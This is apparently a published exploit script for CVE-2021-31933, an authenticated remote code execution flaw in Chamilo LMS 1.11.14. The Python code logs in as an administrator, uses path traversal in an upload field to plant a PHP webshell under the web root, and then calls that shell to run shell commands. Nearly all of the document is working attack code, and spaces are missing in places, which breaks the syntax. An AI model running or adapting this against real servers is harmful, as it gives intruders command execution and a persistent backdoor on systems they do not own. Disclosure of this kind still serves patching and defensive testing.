# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)# Date: 13/05/2021# Exploit Author: M. Cory Billington (@_th3y)# Vendor Homepage: https://chamilo.org# Software Link: https://github.com/chamilo/chamilo-lms# Version: 1.11.14# Tested on: Ubuntu 20.04.2 LTS# CVE: CVE-2021-31933# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/from requests import Session
from random import choice
from string import ascii_lowercase
import requests
# This is all configuration stuff,
url ="http://127.0.0.1/chamilo-lms/"# URL to remote host web root
user_name ="admin"# User must be an administrator
password ="admin"
command ="id;whoami"# Where you want to upload your webshell. Must be writable by web server user.# This spot isn't protectec by .htaccess
webshell_path ='web/'
webshell_name =f"shell-{''.join(choice(ascii_lowercase)for _ inrange(6))}.phar"# Just a random name for webshell file
content =f"<?php echo `{command}`; ?>"defmain():# Run a context manager with a session object to hold login session after loginwith Session()as s:
login_url =f"{url}index.php"
login_data ={"login": user_name,"password": password
}
r = s.post(login_url, data=login_data)# login request# Check to see if login as admin user was successful.if"admin"notin r.url:print(f"[-] Login as {user_name} failed. Need to be admin")returnprint(f"[+] Logged in as {user_name}")print(f"[+] Cookie: {s.cookies}")
file_upload_url =f"{url}main/upload/upload.php"# The 'curdirpath' is not santitized, so I traverse tothe '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
php_webshell_file ={"curdirpath":(None,f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),"user_upload":(webshell_name, content)}## Good command if you want to see what the request looks like without sending# print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))# Two requests required to actually upload the filefor i inrange(2):
s.post(file_upload_url, files=php_webshell_file)
exploit_request_url =f"{url}{webshell_path}{webshell_name}"print("[+] Upload complete!")print(f"[+] Webshell: {exploit_request_url}")# This is a GET request to the new webshell to trigger code execution
command_output = s.get(exploit_request_url)print("[+] Command output:\n")print(command_output.text)if __name__ =="__main__":
main()